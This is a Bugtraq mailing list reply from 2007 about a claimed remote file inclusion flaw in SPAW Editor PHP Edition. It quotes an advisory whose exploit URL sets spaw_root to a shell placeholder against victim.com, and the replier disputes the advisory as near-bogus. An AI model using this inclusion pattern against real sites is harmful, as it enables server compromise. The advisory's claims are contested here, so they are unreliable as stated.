Bugtraq mailing list archives
Re: SPAW Editor PHP Edition
From: Steve Watt <steve.removethis () Watt COM>
Date: Fri, 2 Mar 2007 23:43:31 +0000 (UTC)
In article <20070302132254.09F75CA0D5 () ws5-11 us4 outblaze com>, RaeD Hasadya <raed () bsdmail com> wrote:
Remote IInclude File : SPAW Editor PHP Edition upgrade version 1.2.3 to 1.2.4 Discovered By : Hasadya Raed Contact Me : RaeD[at]BsdMail[dot]Com Download Script: http://heanet.dl.sourceforge.net/sourceforge/spaw/spaw-php-123-to-124.zip B.File :img_library.php : include $spaw_root.'class/util.class.php'; include $spaw_root.'class/lang.class.php'; =*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*= Expl:-http://www.victim.com/spaw/dialogs/img_library.php?spaw_root=[Shell-AttacK]
Besides being for an older version, this is only a problem if you haven't correctly installed the package (i.e. created the spaw_control.config.php file that defines spaw_root. This advisory is about >< that close to being purely bogus. (I don't even use spaw, I just had to go peek.) -- Steve Watt KD6GGD PP-ASEL-IA ICBM: 121W 56' 57.5" / 37N 20' 15.3" Internet: steve @ Watt.COM Whois: SW32-ARIN Free time? There's no such thing. It just comes in varying prices...
Current thread:
- SPAW Editor PHP Edition RaeD Hasadya (Mar 02)
- Re: SPAW Editor PHP Edition Steve Watt (Mar 03)